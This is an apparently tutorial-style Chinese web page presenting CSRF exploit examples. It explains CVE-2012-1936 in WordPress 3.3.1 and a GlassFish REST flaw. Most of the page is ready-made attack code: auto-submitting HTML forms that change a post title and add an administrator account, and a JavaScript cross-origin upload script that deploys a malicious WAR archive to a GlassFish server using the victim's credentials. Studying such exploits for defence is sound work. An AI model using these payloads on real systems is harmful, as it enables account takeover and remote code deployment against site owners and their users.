攻击实例

Exploits

本部分我们来看几个基于 CSRF 攻击的实例,包括简单的基于表单 POST 请求的攻击,其可以诱导用户点击.submit() 按钮既可以发起攻击。其他的还有稍微复杂一点的跨域文件上传 CSRF 攻击,其主要使用了 CORS use of the xhr.withCredentals behavior

Wordpress 3.3.1 Multiple CSRF Vulnerabilities

该漏洞是由Ivano Binetti在 2012 年 3 月 19 号发现的,影响了WordPress 3.3.1 版本 ,CVE 编号 CVE-2012-1936。WordPress 是众所周知的博客平台,该漏洞可以允许攻击者修改某个 Post 的标题,添加管理权限用户以及操作用户账户,包括但不限于删除评论、修改头像等等。具体的列表如下

  • Add Admin/User
  • Delete Admin/User
  • Approve comment
  • Unapprove comment
  • Delete comment
  • Change background image
  • Insert custom header image
  • Change site title
  • Change administrator’s email
  • Change Wordpress Address
  • Change Site Address

那么这个漏洞实际上就是攻击者引导用户先进入目标的 WordPress,然后点击其钓鱼站点上的某个按钮,该按钮实际上是表单提交按钮,其会触发表单的提交工作,核心的 Exploit 代码为

<html>
  <body onload="javascript:document.forms[0].submit()">
    <h2>CSRF Exploit to change post title</h2>
    <form
      method="POST"
      name="form0"
      action="http://<wordpress_ip>:80/wp-admin/admin-ajax.php"
    >
      <input type="hidden" name="post_title" value="hackedtitle" />
      <input type="hidden" name="post_name" value="hackedtitle" />
      <input type="hidden" name="mm" value="03" />
      <input type="hidden" name="jj" value="16" />
      <input type="hidden" name="aa" value="2012" />
      <input type="hidden" name="hh" value="" />
      <input type="hidden" name="mn" value="" />
      <input type="hidden" name="ss" value="" />
      <input type="hidden" name="post_author" value="1" />
      <input type="hidden" name="post_password" value="" />
      <input type="hidden" name="post_category%5B%5D" value="0" />
      <input type="hidden" name="post_category%5B%5D" value="1" />
      <input type="hidden" name="tax_input%5Bpost_tag%5D" value="" />
      <input type="hidden" name="comment_status" value="open" />
      <input type="hidden" name="ping_status" value="open" />
      <input type="hidden" name="_status" value="publish" />
      <input type="hidden" name="post_format" value="0" />
      <input type="hidden" name="_inline_edit" value="<sniffed_value>" />
      <input type="hidden" name="post_view" value="list" />
      <input type="hidden" name="screen" value="edit-post" />
      <input type="hidden" name="action" value="inline-save" />
      <input type="hidden" name="post_type" value="post" />
      <input type="hidden" name="post_ID" value="1" />
      <input type="hidden" name="edit_date" value="true" />
      <input type="hidden" name="post_status" value="all" />
    </form>
  </body>
</html>

另一个测试用例时添加某个具有管理员权限的用户,测试用例为

<html>
  <body onload="javascript:document.forms[0].submit()">
    <h2>CSRF Exploit to add Administrator</h2>
    <form
      method="POST"
      name="form0"
      action="http://<wordpress_ip>:80/wp-admin/user-new.php"
    >
      <input type="hidden" name="action" value="createuser" />
      <input
        type="hidden"
        name="_wpnonce_create-user"
        value="<sniffed_value>"
      />
      <input
        type="hidden"
        name="_wp_http_referer"
        value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"
      />
      <input type="hidden" name="user_login" value="admin2" />
      <input type="hidden" name="email" value="admin2@admin.com" />
      <input type="hidden" name="first_name" value="admin2@admin.com" />
      <input type="hidden" name="last_name" value="" />
      <input type="hidden" name="url" value="" />
      <input type="hidden" name="pass1" value="password" />
      <input type="hidden" name="pass2" value="password" />
      <input type="hidden" name="role" value="administrator" />
      <input type="hidden" name="createuser" value="Add+New+User+" />
    </form>
  </body>
</html>

Oracle GlassFish Server - REST Cross-Site Request Forgery

该漏洞是由 Security-Assessment.com 发现的,Oracle GlassFish 服务器的 REST 接口可以被 CSRF 请求攻击,譬如其可以允许普通用户任意上传 WAR 包,并且可以控制在服务端运行从而导致窃取其他运行应用的信息。关于具体的攻击复盘可以参考这里。其攻击手段是首先在钓鱼站点上设置如下按钮

<button id="upload" onclick="start()" type="button">Upload WAR Archive</button>

然后添加如下脚本

var logUrl = 'http://glassfishserver/management/domain/applications/application';

function fileUpload(fileData, fileName) {
    var fileSize = fileData.length,
      boundary = "---------------------------270883142628617",
      uri = logUrl,
      xhr = new XMLHttpRequest();

    var additionalFields = {
          asyncreplication: "true",
          availabilityenabled: "false",
          contextroot: "",
        createtables: "true",
        dbvendorname: "",
        deploymentplan: "",
        description: "",
        dropandcreatetables: "true",
        enabled: "true",
        force: "false",
        generatermistubs: "false",
        isredeploy: "false",
        keepfailedstubs: "false",
        keepreposdir: "false",
        keepstate: "true",
        lbenabled: "true",
        libraries: "",
        logReportedErrors: "true",
        name: "",
        precompilejsp: "false",
        properties: "",
        property: "",
        retrieve: "",
        target: "",
        type: "",
        uniquetablenames: "true",
        verify: "false",
        virtualservers: "",
        __remove_empty_entries__: "true"

    }

    if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4
    var tmp = '';
    for (var i = 0; i < fileData.length; i++) tmp +=
String.fromCharCode(fileData.charCodeAt(i) & 0xff);
    fileData = tmp;
  }
  else { // Chrome 9
    // http://javascript0.org/wiki/Portable_sendAsBinary
    XMLHttpRequest.prototype.sendAsBinary = function(text){
      var data = new ArrayBuffer(text.length);
      var ui8a = new Uint8Array(data, 0);
      for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);

      var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)();

      bb.append(data);
      var blob = bb.getBlob();
      this.send(blob);

    }
  }
    var fileFieldName = "id";
    xhr.open("POST", uri, true);
    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a
file MIME POST request.
    xhr.setRequestHeader("Content-Length", fileSize);
    xhr.withCredentials = "true";
    xhr.onreadystatechange = function() {
      if (xhr.readyState == 4) {
        if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {

          if (xhr.responseText != "") {
            alert(JSON.parse(xhr.responseText).msg);
          }
        } else if (xhr.status == 0) {

        }
      }
    }

    var body = "";

    for (var i in additionalFields) {
      if (additionalFields.hasOwnProperty(i)) {
        body += addField(i, additionalFields[i], boundary);
      }
    }

    body += addFileField(fileFieldName, fileData, fileName, boundary);
    body += "--" + boundary + "--";
    xhr.sendAsBinary(body);
    return true;
}

function addField(name, value, boundary) {
  var c = "--" + boundary + "\r\n"
  c += 'Content-Disposition: form-data; name="' + name + '"\r\n\r\n';
  c += value + "\r\n";
  return c;
}

function addFileField(name, value, filename, boundary) {
    var c = "--" + boundary + "\r\n"
    c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n';
    c += "Content-Type: application/octet-stream\r\n\r\n";
    c += value + "\r\n";
    return c;
}

function getBinary(file){
  var xhr = new XMLHttpRequest();
  xhr.open("GET", file, false);
  xhr.overrideMimeType("text/plain; charset=x-user-defined");
  xhr.send(null);
  return xhr.responseText;
}

function readBinary(data) {

var tmp = '';
    for (var i = 0; i < data.length; i++) tmp += String.fromCharCode(data.charCodeAt(i) &
0xff);
    data = tmp;
    return tmp;
    }

function start() {
  var c = getBinary('maliciousarchive.war');
  fileUpload(c, "maliciousarchive.war");

}
上一页
下一页